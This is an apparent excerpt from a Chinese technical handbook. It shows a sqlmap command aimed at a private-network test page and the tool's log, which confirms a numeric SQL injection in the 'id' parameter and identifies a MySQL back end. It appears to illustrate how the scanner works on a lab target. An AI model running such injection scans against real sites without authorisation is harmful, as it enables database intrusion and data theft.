neo@neo-OptiPlex-380:~$ sqlmap -u "http://172.16.0.44/test/testdb.php?id=12" --dbms "mysql" [*] starting at: 17:39:43 [17:39:43] [INFO] testing connection to the target url [17:39:43] [INFO] testing if the url is stable, wait a few seconds [17:39:44] [INFO] url is stable [17:39:44] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic [17:39:44] [WARNING] User-Agent parameter 'User-Agent' is not dynamic [17:39:44] [INFO] testing if GET parameter 'id' is dynamic [17:39:44] [INFO] confirming that GET parameter 'id' is dynamic [17:39:44] [INFO] GET parameter 'id' is dynamic [17:39:44] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis [17:39:44] [INFO] testing unescaped numeric injection on GET parameter 'id' [17:39:44] [INFO] confirming unescaped numeric injection on GET parameter 'id' [17:39:44] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis [17:39:44] [INFO] testing for parenthesis on injectable parameter [17:39:44] [INFO] the injectable parameter requires 0 parenthesis [17:39:44] [INFO] testing MySQL [17:39:44] [INFO] confirming MySQL [17:39:44] [INFO] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1 [17:39:44] [INFO] retrieved: 2 [17:39:45] [INFO] performed 13 queries in 0 seconds [17:39:45] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.0 [*] shutting down at: 17:39:45
原文出处：Netkiller 系列 手札
本文作者：陈景峯
转载请与作者联系，同时请务必标明文章原始出处和作者信息及本声明。
